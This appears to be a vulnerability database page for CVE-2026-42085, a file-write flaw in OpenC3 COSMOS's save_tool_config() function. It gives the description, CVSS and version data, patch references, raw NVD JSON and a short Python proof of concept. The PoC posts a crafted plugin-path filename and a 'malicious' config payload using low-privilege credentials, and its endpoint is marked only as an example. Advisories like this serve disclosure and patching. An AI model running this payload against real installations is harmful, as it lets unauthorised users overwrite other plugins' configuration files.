Security Vulnerability Report
中文
CVE-2026-42085 CVSS 4.3 MEDIUM

CVE-2026-42085

Published: 2026-05-04 18:16:31
Last Modified: 2026-05-08 19:54:31

Description

OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. Prior to versions 6.10.5 and 7.0.0-rc3, OpenC3 COSMOS contains a design flaw in the save_tool_config() function that allows saving tool configuration files at arbitrary locations inside the shared /plugins directory tree by supplying crafted configuration filenames. Although the implementation sufficiently mitigates standard path traversal attacks, by canonicalizing filename to an absolute path, all plugins share this same root directory. That enables users to create arbitrary file structures and overwrite existing configuration files within the shared /plugins directory. This issue has been patched in versions 6.10.5 and 7.0.0-rc3.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:openc3:cosmos:*:*:*:*:open_source:*:*:* - VULNERABLE
cpe:2.3:a:openc3:cosmos:7.0.0:rc1:*:*:open_source:*:*:* - VULNERABLE
cpe:2.3:a:openc3:cosmos:7.0.0:rc2:*:*:open_source:*:*:* - VULNERABLE
OpenC3 COSMOS < 6.10.5
OpenC3 COSMOS < 7.0.0-rc3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example endpoint) target_url = "http://localhost:2900/api/tool_config" # Attacker credentials (Low privilege required) username = "attacker" password = "password" # Malicious filename designed to write into a shared plugin directory # Exploits the flaw by targeting a path within /plugins malicious_filename = "target_plugin/malicious_config.txt" # Payload content to be written into the file config_content = "[MALICIOUS]\ncommand = pwned" payload = { "filename": malicious_filename, "config": config_content } try: response = requests.post(target_url, data=payload, auth=(username, password)) if response.status_code == 200: print("[+] PoC successful: File likely written to /plugins/{}".format(malicious_filename)) else: print("[-] PoC failed with status code: {}".format(response.status_code)) except Exception as e: print("[-] Error: {}".format(e))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42085", "sourceIdentifier": "[email protected]", "published": "2026-05-04T18:16:30.510", "lastModified": "2026-05-08T19:54:30.723", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. Prior to versions 6.10.5 and 7.0.0-rc3, OpenC3 COSMOS contains a design flaw in the save_tool_config() function that allows saving tool configuration files at arbitrary locations inside the shared /plugins directory tree by supplying crafted configuration filenames. Although the implementation sufficiently mitigates standard path traversal attacks, by canonicalizing filename to an absolute path, all plugins share this same root directory. That enables users to create arbitrary file structures and overwrite existing configuration files within the shared /plugins directory. This issue has been patched in versions 6.10.5 and 7.0.0-rc3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openc3:cosmos:*:*:*:*:open_source:*:*:*", "versionEndExcluding": "6.10.5", "matchCriteriaId": "930EEABE-50A2-4005-AE3C-2D14AF5A60BD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openc3:cosmos:7.0.0:rc1:*:*:open_source:*:*:*", "matchCriteriaId": "38B72355-49A3-4D2F-BFDB-EE53C9E2C7AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openc3:cosmos:7.0.0:rc2:*:*:open_source:*:*:*", "matchCriteriaId": "13E3A0EA-1085-4505-80BB-C0B133EC3498"}]}]}], "references": [{"url": "https://github.com/OpenC3/cosmos/commit/9957a9fa460c0c0cf5cdbf6a5931bbdd025246a5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OpenC3/cosmos/commit/e6efccbd148ba0e3361c5891027f2373aa140d42", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OpenC3/cosmos/releases/tag/v6.10.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/OpenC3/cosmos/releases/tag/v7.0.0-rc3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-4jvx-93h3-f45h", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-4jvx-93h3-f45h", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}